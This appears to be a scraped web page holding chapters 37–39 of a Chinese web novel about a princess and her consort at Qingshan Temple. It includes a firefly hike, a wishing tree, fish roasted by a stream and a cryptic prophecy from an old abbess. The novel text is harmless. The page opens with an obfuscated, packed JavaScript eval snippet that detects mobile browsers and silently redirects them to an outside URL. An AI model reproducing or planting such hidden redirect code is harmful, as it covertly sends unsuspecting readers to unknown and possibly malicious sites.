;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645465|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云淡风轻的身影,心里想着,难怪庆武王从未出声,这是早就提前做好了准备啊。言武帝的生辰宴,办好了自然收到嘉奖,可若办不好呢,且宴席上,能做手脚的地方多了去了,就算是大罗神仙来了,也不能保证这宴席顺顺利利的办下去。 “念着此次旱灾严重,此次生辰宴,一切从简。” “是,儿臣领旨。”言笛梵温和应下,她面色无异,实际心里在吐血,本想将此事推给言昭离,结果落到了自己的头上,这是她步入朝堂后接手的第一份差事,她必须全身心扑在生辰宴上,确保万无一失,给母皇留下一个好的印象。 “退朝。” 早朝结束后,众人的神色各异,事情的发展逐渐往不可控的方向去了。 * 空中下起了小雨,淅淅沥沥的,六月酷暑,下的雨多是带点烦闷的,可今日却如山间清晨的第一缕露珠,带着神清气爽的劲。 言昭离撑着伞,耳边是雨打落叶的声音,眼前是窗边人的身影,他一身青衣,独坐窗前,听到动静,朝她一瞥,本是极淡的一眼,却像是被钉住了一样,久久不能收回视线,两人在这寂静的世间驻足长达十几秒。 “王爷,祁侧夫等您良久了。” 她收回伞,衣袖间还沾着点雨水,她不喜旁人为她打伞,下雨天都是自己打伞的,如若伞打得好,衣裳是不会沾染上雨水的,可偏偏她今日穿的是朝服,比寻常衣服要更宽大些,且刚才她不小心恍了神,连伞打偏了都不知道。 祁逾白站起身,取走翠鸣手上的手巾,为她擦拭衣服上的雨珠,这便是朝服的坏处了,不得有损,即便是落了雨,也得先擦干后才能换下来。 “今日怎么起那么早?”她下早朝的时间是卯时,而祁逾白平常都是睡到辰时才起。 祁逾白手上的动作没停:“睡不着了。” “那等会一起吃个饭。” “好。” 饭桌上,言昭离说起去青山寺一事,提出要带的人和物,祁逾白听完,发现言昭离未提及他,他握紧筷子,状做不经意间问起:“我呢?” 青山寺是佛门清修之地,任何破戒的行为都不能存在,他是言昭离的侧夫,却始终不是正牌侍郎,就相当于一个男宠的地位。 言昭离:“我肯定要把你带走。” “不过,毕竟是佛门清修之地,我们晚上要分开睡。” “好。” 37. 第 37 章 山中雾气萦绕,朦胧氤氲,才刚下过雨,空气中还带着点潮湿,三四辆马车稳当的行驶在路上,在泥泞的路上留下了一行车轱辘印。 ‘吁——’牵马的人发出一长串声音,马儿将头一撇,喷洒出温热的气息。 “王爷,祁侧夫,到了。” 祁逾白先行下了马车,接着,伸手去扶言昭离,言昭离将手搭在他的手心,借力下了马车。 青山寺的位置极为偏僻,通往的寺中的路大多是山路,今天下过了雨,山路极不好走,可即使是那样,寺中来往的人也是络绎不绝。 言昭离抬头往上看,寺庙在山顶处,上山的石阶绵长至山顶,经历了积年累月的风吹雨打和为人踩踏,早已光洁如镜,连苔痕都不曾有过。 他们一步步踏上台阶,在寺庙门口见到了几个僧人,为首的是青山寺的监院,总管寺院事务。 她双手合十,手中放着一串佛珠:“阿弥陀佛,贫僧是寺院的监院,法号净圆,施主可是庆武王?” 言昭离:“我是,净圆师父好。” “施主好,”净圆看了眼祁逾白:“那这位便是王爷的祁侧夫。” 祁逾白:“是。” 确认好身份,净圆道:“各位施主请进,贫僧已安排好一切。” 侍从们随着小尼姑先去住处放置行李,言昭离和祁逾白则随着净圆纵览了整座寺庙,青山外院坐落着两座狮子石像,黄墙石瓦,巨大的牌匾上写着龙飞凤舞的三字——青山寺,这是先帝在世时提笔书写。 内院分布着十多个个殿堂,皆供奉着不同的佛像,青山寺的业务极为广泛,有姻缘、事业、财运…… 除此之外,还有一个让青山寺远近闻名的人——闻人住持,年近过百,拥有一双让人看不透的眼睛,她的算卦,能知前世,断今生,无数人前仆后继来到青山寺,就是求闻人住持算上一卦,可惜闻人住持算卦只讲求缘分。 在走到一处偏静小院时,净圆没有带他们进去,她说:“这便是闻人住持所住的地方,闻人住持断自己不日即将圆寂,特此闭关,不让任何人打扰,还请施主平日里不要靠近此处。” “好的,净圆师父。”言昭离双手合十,回道。 等带他们到了住处,净圆师父也便忙碌去了,翠鸣给言昭离倒了杯刚沏好的茶:“王爷,都已收拾妥当,您的住处在这屋,祁侧夫的住处在隔壁。” “嗯,辛苦了,劳累了一路,你们也先下去休息吧。” 一众侍从回道:“是。” 等他们退了下去,言昭离也卸了全身的力气,懒洋洋的趴在桌子上,她看向旁边端坐的某人,拽了拽他的衣角:“祁逾白,你不累吗?” “还好。”他慢吞吞喝了杯茶。 “可是我有点累。” “那便去床上休息。” 言昭离无辜的看向他:“那我怎么上床呢?”她有点洁癖,白日里上床,一定要换个干净的衣服。 祁逾白是知道她这个习惯的,他道:“换身衣——”话音在看到屋里空荡荡的陈设时戛然而止,寺院的屋子简朴,里面的陈设也简单,只有一张桌子和几个凳子,还没人高的柜子,可放衣服和书,一张只能勉强容纳下两人的床,床上放着一套被褥。 言昭离的屋子远比这件屋子大的两倍多,且她原先的屋子是有内室和外室,她平日里换衣服,要么是在内室换,祁逾白去外室待着,要么是两人同处内室,她隔着屛风换。 这间屋子狭小,没有内室和外室,甚至连言昭离原先那屋的紫檀嵌玉屏风放这,都有些困难。 她要换衣服,祁逾白必须得出去,她刚才说的话,也是赶人的意思,可祁逾白一开始似乎并没察觉到。 他轻咳一声,放下茶杯:“那我去隔壁。” “好,你也去睡一觉吧。” 言昭离沉浸在可以休息的喜悦,没有察觉到祁逾白回的迟缓:“好。” 祁逾白出了屋门,一股冷风铺面而来,这是从山顶吹下来的,在这炎热的夏日,最是解热,可今日下了雨,吹起来倒有些冷意。 他抬脚进了隔壁的屋子,明明与言昭离屋内是一样的陈设,可他瞧着,却是处处不好,这个桌子摆放的不对,这个椅子的方位有问题,这个床放的位置似乎有些奇怪……空气中,也没有点燃她喜欢的香。 雨又开始下了,他听着外面淅淅沥沥的雨声,看着逐渐昏暗的天,紧接着,屋内,传来他微不可息的自叹:“果然,还是想要的更多。” * 寺院的生活甚是单调,众人早上要跟着净圆监院诵经,言昭离是来祈福的,她每天都需要多花费两个时辰进行祈福法会,除此之外的时间,便无事了。 远离了京城的喧嚣,远离的权力争夺的你尔我诈,寺院的生活过得甚是平静,言昭离早上忙碌后,午时会睡会,下午看看书,散散步。 一日,吃完晚饭后,祁逾白在院内散步,言昭离突然冲出来,说要带他去一个地方。 他没问什么地方,就跟着她一起走了,等到地后,才后悔异常,青山寺后面是连绵的山峰,其中最大一座山,屹立于青山寺正后方的位置,而言昭离带他来的地方,正是这座山。 在现代,他有时空闲的时候也会去爬山,那时连爬六个小时都不觉得累,可现在,只是爬了半个小时,就已经体力不支。 他暗想,男子的力气比女子小,在这个时候,真是要命的女尊文设定。 “祁逾白,你快来。”言昭离在前面喊道。 她看起来精力充沛的异常,祁逾白不想让言昭离知道他不行,他强撑着,一步一步走完剩下的路程。 言昭离很快的爬到了顶端,看到底下悠闲的像像是散着歩的祁逾白,不禁吐槽,一向喜欢爬山,怎么此次爬的那么慢,难道是欣赏中途的风景,可她记得这一路上也没遇到什么好看的景。 在言昭离的注视下,祁逾白艰难的步伐越发慢悠,面上也一片云淡风轻,像是来这散步的世家公子。 “怎么上来的那么慢?” “欣赏路上的风景。” 言昭离不解的微笑,难道这就是有钱人的癖好,不追求最后的结果,只享受中间的过程。 她不纠结那么多,在看到祁逾白身后时,突然激动道:“你快闭眼。” “闭眼?”他说这话的时候,已经把眼睛闭上了。 “对,等会给你看个东西。” 祁逾白的世界一片黑暗,此刻,感官被无限的放大,清风拂面,耳边是此起彼伏的虫鸣,旁边是言昭离闹腾的声音。 等了一会,他听见言昭离说:“好了,可以睁眼了。” 他缓慢睁眼,眼前的阴影还未消失,霎那间,温热的手心重新覆上他的眼,一道温热的身躯贴了上来,他的鼻息间满是她身上的玉兰花香。 “怎么了?” “啊啊啊,我记错时间了,现在还不到时候,祁逾白,你再闭会眼。” “好。”他听见自己的声音很是沙哑。 世界又重新处于一片黑暗,唯有眼前的人是鲜活的,祁逾白在一片寂静中,听到了自己鼓声般的心跳,一下两下三下…… “好了,可以睁开眼睛了。”紧贴的身躯消失,祁逾白睁开眼,下意识去追逐言昭离收回的手,心中遗憾的想着:要是再久些……便好了。 “看。”言昭离的语气中美满是惊喜。 祁逾白抬眸,漫天繁星,莹莹灯火,星星和萤火虫的灯火相互映衬,以昏暗的天空为底色,共同构成这梦幻的画,他想,人间美色,大抵也抵不过眼前这一幕。 “这就是你要送我的礼物吗?” “不是,这算个小惊喜,”言昭离眨眼,“不过,我可以提前预告一下,回头送的礼物,一定会让你终身难忘。” 祁逾白低声说:“这个瞬间,我也会终生难忘。”他说的小声,言昭离并没有听到,只听到他问:“怎么找到这的?” “祈福法会结束后,意外听到净圆师父说晚上这里的夜幕会很好看,我想分享给你,所以就带你来了,怎么样?好看吗?” 他的眼中倒映出身旁人的身影,道:“很好看。” “我很喜欢。” 时间在静谧之中悄然流逝,两人安安静静的欣赏, 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“我确……”他还未说完,右脚不小心踩进了一个坑里,差点栽倒在地,幸好被言昭离眼疾手快的扶住,此刻,半个身子都靠在言昭离身上,再也不想起来,刚才上山时,就已经耗费了他所有力气,这个身子没有经过锻炼,休息后,腿更是酸的异常,他撑着走下一段路,已经是极限。 言昭离试着提议:“要不我背你下山?” 祁逾白沉默,身为一个男人,他实在不想答应这么丢人的建议。 “放心,背你这件事,天知地知,你知我知,我保证,不会再让第三个人知道。” “我们早点回去,早点休息。” “而且爬山这么累,我能理解的……” “好。” “男子比女子力气小,身子弱,在这里是天经地义的了,不用……” 她话讲到一半,意识到祁逾白答应了,眼眸带笑:“那我背你了。” “不用再说一遍。”尽管祁逾白说这话时是板着脸,语气毫无起伏,但言昭离就是莫名的看出他的几分小羞涩。 言昭离的身高只到祁逾白的耳边,按理说,她背着祁逾白,应是费力些,可不知是身体锻炼的好,还是会武的原因,丝毫没有感觉到累,甚至身轻如燕。疾步如飞。 祁逾白双手挽着她的脖颈,头伏在她的右肩处,紧闭双眼,一副不想面对现实的模样。 他温热的气息喷洒在脖颈处,言昭离觉得有些痒,于是想聊会天来分散注意力,她问:“祁逾白,你睡着了没?” “没。”耳边传来他闷闷的声音。 “祁逾白,你知道我今天在看萤火虫的时候,想到了什么吗?” “什么?” “你还记得有一次公司年会抽奖,一等奖设的是冰岛三月游,我特别幸运的抽到了,就是在那次,我在冰岛看见了极光,那样美轮美奂的场景,我一辈子都不会忘记。” “嗯,记得。”那次的奖,是他加上去的,他无意间听到言昭离在茶水间与人交谈,“啊啊啊,刷到极光的视频,我又心动了,而且专家预测今年的十二月会在冰岛出现极光哎。” “言秘书,心动不如行动,请假去吧。” “呜呜呜,舍不得这个高薪的工资,且去了又不一定能遇上。” 在张总助将今年年会奖项的单子交于他签字时,他看了一眼,发现跟去年奖项一模一样,毫无新意,他随口说了句:“今年再加一个奖项——冰岛公费旅游三个月。”随手加的奖项,竟被她抽中了。 一个颠坡,言昭离的身形一晃,祁逾白无意识的蜷紧手臂,将身体再次放低,想要减轻点重量。 言昭离侧头,想开口说话,脸颊处突然感受到了一个温热的触感,祁逾白不小心亲到了她的脸,意识到这点,两个人皆是一怔,言昭离想说的话也卡在嘴边。 气氛暧昧又尴尬,祁逾白眼神不自在的瞥向别处:“不早了,早些回去吧。” “好。”回去的路上,言昭离再也没说过一句话。 下山后,言昭离把祁逾白放了下来,两人同回了屋,在祁逾白即将进屋的时候,言昭离叫住他:“祁逾白,记得晚上给自己按摩一下腿,不然明天早上起不来。” “好,我知道了。” 38. 第 38 章 寺院的正中间,有一棵百年历史的银杏古树,夏日郁郁葱葱,秋日萧瑟零落,四季更迭变化,唯一不变的,是枝叶上面挂坠着飘扬的红丝带,随着时间的流逝,越积越多,红带上写着人们对于爱情、姻缘的向往,因此,此树也被命名为‘姻缘树’。 来这的人,除了是奔着闻人住持的名声,更多的是奔着此树而来。 每逢早课结束,回去的路上,总是会经过此树,祁逾白只会看过一眼便离开,他从来不相信世间会有神明的保佑,他只相信个人的努力。 回去的时间尚早,这棵银杏树下只有僧人在洒水打扫,出了这个僧院,需得穿过一扇半圆形的拱门,在转角处,一个人影撞了上来,对方估摸是走的匆忙,没注意到前面还有人。 “对不起,对不起。”对方连连道歉。 祁逾白揉了揉被撞的肩角,对方的体量不低,瞧着约莫是个练武的。 “这位公子,没事吧?对不起,我是练武的,力气可能比平常男子大了些。” “没事。” 对方挠了挠头,面上是一派纯真:“没事便好。” 祁逾白以为这便可以结束了,谁知对方是个自来熟的,熟络的与他交谈:“我叫全枝,公子叫什么?” “祁逾白。” “公子这名真好听,连人都长得如此好看,是我见过最好看的。” “公子来这是做什么的?” “陪妻主祈福。” 全枝面露惊讶:“公子嫁人了,可看公子的模样,又全然不像,我见过那些已经嫁人的男人,就算在大富大贵之家,穿的再好,吃的再好,也全然掩盖不了他们眼中的疲惫,多是后宅之事闹的,他们每日发愁,什么妻主又新娶了小妾,妻主今晚又歇在了何处。”他肯定道,“公子必定很得妻主的宠爱。” 许是全枝给人的感觉很是舒服,言语间也全无冒犯之意,祁逾白倒是愿意与他说上几句。 “嗯,妻主对我甚是宠爱,后宅中也只有我一人。” 全枝:“那公子的妻主可真是顶好的人。”他发愁的说,“真羡慕公子能遇到如此好的妻主。” “我什么时候能嫁到如此好的妻主,不瞒公子说,我这辈子最大的愿望就是能觅得一个好的妻主,可惜上天从未眷顾我,母亲是开镖局的,只有我一个孩子,家业只能由我来继承,因此我从小习武弄刀,性格也豪迈些,年过十七,至今无人上门提亲,几个月前,母亲托关系给我觅得一门亲事,我甚是高兴,还特地来这青山寺的姻缘树下挂红丝带,只盼能与未来的妻主和和美美。” “可惜前几日,我意外发现对方是个不能托付的,不仅经常流连烟花之地,还哄骗了多名良家男子,我一时气不过,就在大庭广众下揭穿了她的真面目,最后亲事黄了,我的名声也坏了。” 他幽幽的叹了口气:“今日来此,就是把之前挂的红丝带摘下。” 听完他的遭遇,祁逾白刚想安慰他,全枝就一扫刚才的失落,他道,“既然挂了一条不行,那我就多挂几条。” 他将袖口里的七八个红丝带拿出来,遮遮掩掩的分了两个给祁逾白:“嘘,小声点,不要让这里的僧人发现我拿了这么多,我也分给你两个。” 他还未递到祁逾白的手里,蓦然想起来他说的话,又收回去了一个:“我突然想到你好像不需要这些,那就给你一个吧。” “剩下的我自己写。” 祁逾白握着手上的红丝带,面上迟疑,全枝走在前面,发现他没跟上来,喊道:“你不过来写吗?就算不写姻缘方面,也可求些别的。” “来了。”他不再犹豫,快步跟上全枝的步伐。 银杏古树旁,放着一张桌子,上面早就摆放了僧人准备的笔墨,祁逾白握住毛笔,在红丝带上一笔一划的写下他的期盼。 他只有一条红丝带,写的很快,全枝写的就比较多些,等他已经把写好的红丝带牢牢系在树上时,全枝还剩下两个红丝带没写。 全枝见祁逾白挂好,加快了手上的动作,上面的字草的不成样子,他没太在意,反正前面的几条他写得甚是认真:“公子,你系在了哪里?” 祁逾白指了指他刚才系的位置:“那里。” 他举着手上的红丝带:“不知公子可愿让我的红丝带系在你的旁边,我这人比较迷信,想沾沾公子的喜气。” “好。”祁逾白刚应下,外院传来言昭离的呼喊:“祁逾白,你在哪里?” “祁逾白?” “我在这。”祁逾白回道。 全枝同样听见了这声呼喊:“是公子的妻主吗?” “是。” “公子快些过去吧,别让妻主等着急了。” 言昭离寻着刚才的声音找去,见祁逾白从银杏树下走来,疑惑问道:“你刚才在那干什么?” “没干什么。” 言昭离也不深究,她拉住祁逾白的手:“快来,我带你去个地方。” “好。” 全枝看见两人的身影共同消失在院中,他刚才好奇的想看看那位公子的妻主是何模样,可全程都被那位公子遮挡住,只能听见声音。 光是这样,也不禁心生向往,那位公子的妻主,声音很好听,与那位公子说话时也十分温柔,且竟在大庭广众下拉住那位公子的手,要知道,女人要在外树立威严的名声,是万不能做出这些娇纵男人的行为的。 他哀叹了一口气,要找到这样的妻主,光凭现实肯定是不行的,还是得依靠神仙的力量,他握住手心的红丝带,在银杏树下虔诚的拜了三下:“伟大无比的银杏树仙啊,如果您有灵,可一定要帮我找个妻主,我的要求也不多,跟刚才那位公子的妻主差不多,但您千万不要理解错意,我不会要那位公子的妻主,我是不会做那拆散鸳鸯的人……” 他嘴里絮絮叨叨的说着,手上也开始了动作,将红丝带与祁逾白的红丝带系在了一处:“那位公子能运气这么好遇到如此一个好的妻主,自身的运气想必也不低,挑选的位置想必也是块风水宝地。” 他将红丝带打了一个又一个的结,露出下方写的字,当初写时便已预料到会有这么个局面,特地将心愿写的往下了些。 看着飘扬的红丝带,他心满意足的离开,走时,还哼着小曲。 满树的红丝带随风飘扬,祁逾白选的位置,不是很显眼,在树底的最下方,紧紧靠近树干的位置,全枝的红丝带围绕在他身边,因为绑的结多,所以红丝带也看着短些,更显露出祁逾白的红丝带。 全枝写下:我希望能遇到一个很好的妻主,能一心一意待我,此生不娶旁人。 我希望未来的妻主,能有钱,有颜(划掉,不能要求这么多)可以是饱读诗书,也可以是武功高强,前者,我可以保护妻主,后者,我可以与妻主一起切磋。 我希望未来的妻主能性格温和,能包容我的一切。 我希望未来的妻主…… 最后,他又加上:我还是希望未来的妻主能长得好看些,最好是能把我迷晕的那种(≧w≦) 在他一众朴实无华的期望中,祁逾白只写下:昭昭若日月之明,离离如星辰之行。 惟愿昭昭,一世安宁,无病无灾。 * “你要带我去何处?”路上,祁逾白问了一句,他蓦然回想起上次的经历,从山上下来后,尽管晚上按摩了腿部,可第二日,他还是从床上爬不起来,整整休息了三日,才下床。 那段时间,感觉众人看他的眼神都有些奇怪。 后来无意间听了墙角:“祁侧夫最近怎么一直未出屋?” “这你都不知道。”那侍从伏身在另一人耳边说了些什么,那人听的目瞪口呆,祁逾白不知道她说了什么,但总有股不好的预感。 “不会吧,这……”说话的人瞧了眼四周,压低声音,“这可是佛门清修之地。” “不是,王爷那晚并不在此处,王爷没让我们跟着,我们也不知道在哪,可能是一个荒郊野地。” “王爷……王爷。”那人想不到好的说辞,只憋出一句:“王爷和祁侧夫玩的可真花。” “这有什么,还有更花的。”那人说的更小声,站在后方的祁逾白完全听不见,心里像有一群蚂蚁在啃噬,是对未知谣言的恐惧,他不知道这两个侍从还要造出什么谣言。 只见那侍从捂住嘴,无比震惊的问道:“王爷真有那么猛?” “那可不是,你就光看这次,祁侧夫在床上整整躺了三日才下床。” “王爷真是女人中的雄鹰。” 两人的交谈声越来越远,祁逾白整个人石化在地,面无表情的离开,最后还要面对略显无辜的言昭离,自那日后,言昭离常常问他:“身体可好些了?” “对不起,都怪我……”她话还未讲完,祁逾白明显能感受到后面一群侍从异样的眼神,他如芒在背,如坐针扎,立马去捂住言昭离的嘴,急急忙忙回到,“我好全了,不用问了。” 殊不知这样半遮半掩的话语,更引人遐想,这误会,他就是跳进黄河也洗不清了,毕竟谁能相信他们在昏天暗地的时刻,跑到荒山上,只是欣赏一幅美景。 此刻,祁逾白用手遮了遮天上的骄阳,心里想着:这次,总不会被误会了吧,烈日当头,谁会觉得能做那事。 他的视线落在两人相握的手上:“你要带我去何处?” 言昭离还是那副神神秘秘的模样:“到了你就知道了。”想起前车之鉴,她又补充道,“放心,这次我肯定不会再让你过度劳累,此事,只会有别番风趣。” 祁逾白的心中也隐隐升起一股期待。 潺潺流水,青青岸旁,有一棵参天大树,与青山寺中的银杏古树不相上下,言昭离把祁逾白带到树下:“现在你能猜到我带你来这是干什么了吗?” 溪水清澈,在骄阳的照射下,湖水泛着粼粼的白光,依稀可见几条鱼的身影,他迟疑的说道:“捕鱼?” 言昭离打了个响指:“对,捕鱼加烤鱼,你不觉得天天吃斋饭,吃腻了吗?一点肉味都尝不着,放心,这块地,我提前派人侦查过,没有人来,我也让翠鸣等人站在不远处放哨,肯定会没人发现的。” 她摆好调料,搭起简陋的火堆和烤鱼架:“今天你只需要坐在这,品尝我烤的鱼,说好的,不让你劳累,我跟你说,从小到大,我的烤鱼技术可是村里数一数二的好。” 言昭离说完,挽起裤脚,今日为了捕鱼,特地穿的骑服,这种衣服,紧身且行动间不会有累赘感。 她先是慢慢的下水,静站着观察了几分钟,然后以迅雷不及掩耳之势,把手中的铁叉捣了下去,‘扑腾’一生,一条活蹦乱跳的鱼就这样被捉了上来。 祁逾白靠在树上,言昭离捕到鱼的时候,他会递上鱼篓,没捕到时,他就这样静静看着她,如此鲜活的模样,光是看着,眼中就不自觉的带了笑意。 言昭离捉了一条又一条的鱼,在祁逾白将鱼篓拿过来时,突然有了个坏主意,她将鱼放进去,叫住他:“祁逾白,你过来,我有话想跟你说。” “什么?”他果然倾身,言昭离趁势,揪住他的衣领,将他从岸边拉了下来。 这条溪很浅,只到人的小腿位置,祁逾白一时不慎,被拉了下来,在水里溅起了很大的浪花,他的衣襟湿了一半,言昭离身上也被溅到了水,“抱歉抱歉,不小心……” 她说着,趁他没防备,将手心捧着的水往他身上泼去:“骗你的。”她哈哈大笑起来,完全无刚才的歉意。 祁逾白无奈,弯下腰:“那就让你为刚才的行为受到代价吧。”他的手掌很大,能包得住言昭离一只手,也能捧满一手心的水,言昭离见状,立马想跑。 可明显跑晚了,猝不及防,被他泼了三分之一的水,两人一来一回,在水中打闹起来,身上的衣袍也从半湿变成来了全湿。 等玩的尽兴了,两人齐齐上岸,在树下烤起了火,夏天的烈日就是有这般好,衣服再湿,晒了一会后,也能重新变得干燥。 东西准备的很齐全,言昭离将鱼开膛破肚,清理,最后放在架子上烤:“过个十几分钟,鱼就能吃了。” 围观了她所有的行为,祁逾白忍不住问道:“这些都是别人教给你的吗?” “不是,是我自己摸索出来的。” 她说:“我是个孤儿,被一个疯女人捡到,后来疯女人去世后,我就开始吃百家饭,有时候吃不饱,就自己烤烤鱼吃。” 言昭离是在村口被一个女人捡到,当时她并不想去抚养,一家一户的去问有没有愿意抚养的,可那个村子贫穷、落后,连自己家的小孩都快养不活了,又怎么会抚养一个没有血缘关系的孩子,女人没法,看着包袱里咿呀咿呀冲她笑的孩子,狠不下心来,于是,就短暂的给了她一个家。 女人家也很贫穷,双亲、丈夫都应病去世,唯一一个寄托了她所有希望的孩子,也在一次灾难中丧命,女人的精神很不稳定,时好时坏,村里人都叫她疯女人。 言昭离小的时候,是会叫疯女人为妈妈的,可疯女人只会厉声喝止她,不允许她喊这个称呼,让她叫她疯女人,直到疯女人死前,言昭离也只叫过她一次妈妈。 “对不起。” 祁逾白 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考虑到祁逾白的口味,言昭离特地多放了点辣椒,这更加使得烤鱼看起来更加有食欲,且味道十分诱人。 祁逾白吃了几口,由衷的称赞:“好吃。” “你也吃。”他将手中的鱼分她一半。 “咳咳——”一道年迈的声音在身后响起,听起来颇为诡异:“鱼好吃吗?” 言昭离惊的往回看,没有人影,她后背生凉,那道声音又响了起来:“这里。” 祁逾白提醒她:“在那个草丛里。” 空荡的空地上,莫名出现了一个灌木草丛,一个人藏匿在此,更好的说,是隐身于此,满头白发的老妪,脸上涂着绿色的色彩,身上也是绿色的衣袍,她闭眼的刹那,完美的与草丛沦为一体。如此装扮,怪不得,翠鸣没发现,也没提醒。 “老身早就在这待着了,你们在中游,老身在下游。” “那婆婆,您来是?” 老妪“哼”了一声:“老身是来钓鱼的,鱼都被你捉完了,等这么久,一条鱼也钓不着。” 言昭离看向远处,那里有一块巨大的岩石,岩石上有一个小板凳,旁边还有一个桶,桶下压着一根竹竿,竹竿的最上方,挂着一根细线,没有钩,也没有饵。 似是看出言昭离的疑惑,老妪道:“怎么,难道没听过一个典故,姜太公钓鱼——愿者上钩,老身效仿的便是他。” 从她的穿着来看,是个很怪异的老妪,行为上,也很奇怪,但言昭离尊重:“婆婆还真是好学。” “那是,俗话说,学无止境,老身即使是马上踏进棺材里了,也得学下去,咳咳,那什么,扯远了。”她接着道,“这鱼是老身买下来的,放生到河里,现下都被你们抓了,怎么办,你们得赔偿老身的损失。” 放生之后又钓走,言昭离捉摸不透这婆婆的行为逻辑,但既然吃了人家的鱼,还是得要赔偿的:“婆婆想要什么样的赔偿。” “我要的赔偿也不多,烤两条跟你们刚才吃的差不多的鱼就行。” “好。”烤两条鱼对言昭离来讲还是很简单的,她更疑惑的是,这个婆婆是什么身份。 这块地方,前不着村后不着店的,没有一家住户,唯一有人烟的,还是离这有着一两公里的青山寺。 等鱼烤好,老妪迫不及待的撕开一大口子,放入口中,连连称赞:“你这女娃子,手艺甚好,甚好。” “老身好久没有吃到如此鲜美的鱼了,不错不错。” 暂时想不出结果,言昭离只能将她当做一个过路客来看待,她将剩下的鱼烤了,分了一些给祁逾白,剩下的自己吃。最后,老妪说要两条鱼赔偿,实际上,她吃了三条,吃完后,意犹未尽,感叹:“在此生结束前吃到如此美味佳肴,不负此生,不负此生啊。” “小女娃,我告诉你,当什么都不能当僧人,规矩森严,不让做这个不让做那个,连肉都不让吃,特别是那个青山寺的净圆,为人死板的,”老妪伸出手指头,比划出还没有瞳孔大的距离,“一点点,就一点点情面都不留。” “俗话说,酒肉穿肠过,佛祖心中留,破一点点例还是可以的了。” 祁逾白道:“后面还有一句,世人若学我,如同进魔道。” 老妪瞪了他一眼:“你个小男娃,讲话烦人的来。”她将言昭离拉到一边,对她说,“这个男娃那么烦人,你可千万不要喜欢他。” “晚了。” 老妪恨铁不成钢:“喜欢谁不好,非得喜欢这么烦人的,我告诉你,我可会看面相的,这个男娃,虽然长得很好看,但性格绝对执拗,对喜欢的人和事是不会放手的。” “你,面容明媚,性格极好,尤其是烤鱼的技术非常好,”最后一句是她补充上去的,“会吸引很多公子的芳心,也就是说,以后会纳很多的男人,他如此执拗,以后说不定会做什么极端的事情,到时候性命不保啊。” 言昭离低头笑道:“前提条件是纳很多的男人,我要是只有他一个人,就被不会发生您所说的极端的事情,所以,我和他,是天生一对。” “你……不像啊,”老妪兀自疑惑起来,自言自语,“面若桃花,痣点眼下,薄唇……这是个天生的多情相啊。” “坏了,”她给自己一脑勺,“怪不得师妹总说我修炼不到家,让我不要随便的给别人看面相,我这又记错了。” 她刚才说的大声,被言昭离听见了,只能讪笑道:“说的好,女娃娃,说起来容易,做起来难,不过,老身相信你一定能做到。” “还是根据面相?” “不不不,俗话说,人不可貌相,老身这是根据感觉来的,老身活了这么久,看人还是很准的。” “那就借婆婆的吉言了。” 时候不早了,言昭离和祁逾白决定回去,他们跟老妪道别。 “就此别过,老婆婆。” “等等,我观你们与我有缘,特此送你们一句话。”老妪满脸庄重,不似刚才嬉笑:“花开花落,春去春回,异世之人,终会回去。” “万不可过多插手,造成因果,如果真要插手,只会得失相当。” 她说完,捂住眼睛:“哎呀,哎呀,好累啊,你们走吧,老身要在此休息会。” 二人离去,路上,祁逾白说:“知道她的身份了吗?” 言昭离点头:“一开始,我以为她只是青山寺的一个普通僧人,可刚才,她说这话时,你注意到没?” “她的眼睛,变成了灰色。”晦暗不明,神色变幻,种种,皆昭示她的不寻常。 “她是——” “青山寺的闻人住持。” 39. 第 39 章 “王爷,一切都已收拾妥当。”寺外,翠鸣已经清点好行囊。 言昭离点头,后又同净圆告辞:“多谢师父近日的照顾。” 净圆:“施主不必言谢,都是贫僧应该做的。” 一个僧人走了过来,悄声在她耳边说了几句,随后递给了她什么东西。 言昭离正欲转身,净圆叫住她:“施主留步,”她将手中的佛珠交给言昭离,“这是闻人住持要贫僧转交的,说施主甚合她眼缘。” “她说,这串佛珠施主须得时时带在身上,日后必会用上。” 直至上了马车,言昭离都在琢磨闻人住持话中的意思,她先是仔细观察了手中的佛珠,这佛珠是由菩提子制成,近闻能闻到檀木香,应是受寺中整日香火的熏陶,佛珠有整整十二颗,在佛法中,十二可代表‘十二因缘。’ “在想什么?”祁逾白问,他上车早,因此并不知道净圆师父跟言昭离说了什么。 “刚才上车前,闻人住持托净圆师父交予我一串佛珠,说要我贴身带着,日后有用处。” 祁逾白的视线落到她手中的佛珠,从外表看,就是一串普通的佛珠,只是赠与它的人赋予了不一样的意义,他原本也是不信这些的,可经历了穿书的事情,一切都已说不准。 他握住言昭离的左手,将她右手中从刚才就一直盘着的佛珠拿走,轻轻的带在她左手腕上,佛珠的大小正好,且圆润的珠子更衬得她手腕纤细:“既然想不出来,便不要想了,日后总会知道的。” “嗯。”她拨弄着手腕处的佛珠,说,“祁逾白,青山寺挺好的,我们日后再一起回来住吧。” 祁逾白的目光始终落在那串佛珠上,再不敢多看:“好。” * “殿下,手下的人已经再三确认,没有任何一处地方出错。” 言笛梵还是有些不放心:“本皇女叮嘱的,都已妥当?那些食物,人……” “没有任何问题,殿下,保证不会出错。” 言笛梵的眉眼间还是带着几分郁色,但该查的地方都已查了,且她已在四处安排好人手,就算出了岔子,也能迅速的找到可疑之人,宴席就算办的不顺,但她能快速的找到祸端,也是展示能力的一种。 “皇姐回来没?” “庆武王已在回来的路上,宴席开始前应是能赶到。” 言笛梵的脑海里浮现言昭离的身影,意味不明的‘哼’了一声:“皇姐这次可真是给我添了巨大的麻烦。” “皇姐那边可有什么行动?”自从言昭离去青山寺后,言笛梵就派人一直盯着她,生怕她有什么行动。 苏青摇头:“庆武王那边并无任何异处。” “本皇女倒真希望如此。” 远处,一双眸子注视着这一切,她笑道:“皇姐似乎格外紧张这次宴席,可惜,必不能让她如愿了。” * 宴席上,言武帝还未来,不少人三三两两的交谈着。 言昭离来的不算晚,她找到自己的位置,带着祁逾白入座,很快,有不少人来攀谈。 有人明里暗里提出想要与言昭离结盟,被她轻飘飘揭过,那人心急,还想再说些什么。 